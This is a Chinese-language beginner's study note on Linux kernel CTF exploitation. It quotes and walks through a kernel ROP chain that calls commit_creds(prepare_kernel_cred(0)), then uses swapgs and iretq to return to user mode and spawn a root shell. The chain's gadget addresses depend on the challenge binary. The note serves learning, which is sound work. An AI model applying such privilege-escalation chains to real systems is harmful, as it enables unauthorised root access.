初学kernel,做个笔记。
wiki上有着详细的分析,这里只对一些wiki上没有讲到的做个笔记。
首先是对文件:
引用一句其他师傅的话:类比于libc中的pwn,感觉*.ko就是binary文件,vmlinux就是libc … 不同的是保护机制是由如何启动决定的(start.sh 中修改)。
Rop大体思路:
栈上有Canary防护的话,需要先泄露出Canary,来促使Rop
Rop具体思路是和Libc中的类似,利用一些寄存器进行传值
调用commit_creds(prepare_kernel_cred(0))来提权
最后回到用户态就可以system('bin/sh')
思路是很好想的,但是具体是shellcode的写法。
我们ropper出来的gadget中一部分是不能用的,而且也不是每次都能找到完美适合的gadget,这就比较考验我们写shellcode的功底。
拿wiki上的shellcode来分析
rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
rop[i++] = 0;
rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)
rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx;
rop[i++] = commit_creds;
rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
rop[i++] = 0;
rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;
rop[i++] = (size_t)spawn_shell; // rip
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
并且因为执行了mov rdi ,rax(rax一般作为返回值寄存器)rdi作为参数传递。然后swapgs 恢复寄存器的值,再用iretq 跳回用户态,这样就利用.ko文件的漏洞当前这个进程提权了,再进行system('bin/sh')就ok了
这部分的栈操作我分析了半个小时,原因是把call指令记错了。call 指令会先把当前的rip压入栈中,然后在进行jmp。这样在call rdx ,rdx再去执行pop rcx ;ret;时,ret就可以执行commit_creds 。如果 没有push操作,就会把commit_creds pop给了rcx,产生错误的理解。